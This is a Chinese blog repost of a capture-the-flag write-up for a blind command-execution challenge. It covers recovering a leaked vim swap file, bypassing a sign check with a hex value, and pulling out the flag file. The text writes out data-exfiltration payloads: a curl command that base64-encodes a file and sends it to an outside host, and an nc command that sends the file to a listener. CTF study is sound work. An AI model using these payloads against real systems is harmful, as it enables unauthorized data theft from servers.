命令执行i春秋

命令执行i春秋,第1张

命令执行i春秋

标题提示blind cmd exec,意思是命令盲注,第一次遇到,右键查看下源代码

发现了一个editor=‘vim’,这个vim就是linux中的vim命令,得知是vim文件泄漏,百度了一下:

非正常关闭vi/vim编辑器时(比如关机什么的)会产生一个.swp的备份文件已备不测,如果你正常退出,那么这个文件就会被自动删除。使用vim -r (filename)就可以恢复该文件。

那么尝试一下访问.index.php.swp,成功并下载了一个文件,用上面的方法恢复一下
vim -r .index.php.swp

源码意思是先用GET传入一个sign,并放入check函数,check过了就会POST传参cmd,并执行,check失败就会输出no sign,这里可以用11259375的十六进制绕过:0xabcdef

http://8a4b5fddcb2e490a9be7f965007538368a495419d4ce4d06.changame.ichunqiu.com/?sign=0xabcdef

可以看见no sign消失了,证明绕过了check!

接下来就是post提交命令,然而blind就是blind,你输什么页面都没反应,看了wp:
源代码中有行是:
setcookie(‘auth’,‘tcp tunnel is forbidden!’);

意思是TCP被禁止,然后不能用crul

cURL是一个利用URL语法在命令行下工作的文件传输工具
cmd=data=$(cat flag233.php | base64);curl http:/xx.xx.xx.xx/?data=$data;

相当于创建了值为x.txt内容的一个变量,用$data可引用该变量,通过管道符 | 和 base64 命令,可将目标base64编码,curl 可访问目标url,这会在目标服务器留下日志。

只可惜不能用,没事还有一招:nc命令

nc的全名是netcat,其主要用途是建立和监听任意TCP和UDP连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等。
nc -l 端口号 :监听一个端口号
nc -u 'ip' '端口号' < '文件名' :带着该文件访问ip:端口

先再服务器开启监听端口:
nc -l 9998

post传参给cmd
cmd=nc -u xx.xx.xx.xx 9998 < flag233.php

看一下服务器

got it!

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/3993183.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-10-21
下一篇 2022-10-21

发表评论

登录后才能评论

评论列表(0条)

保存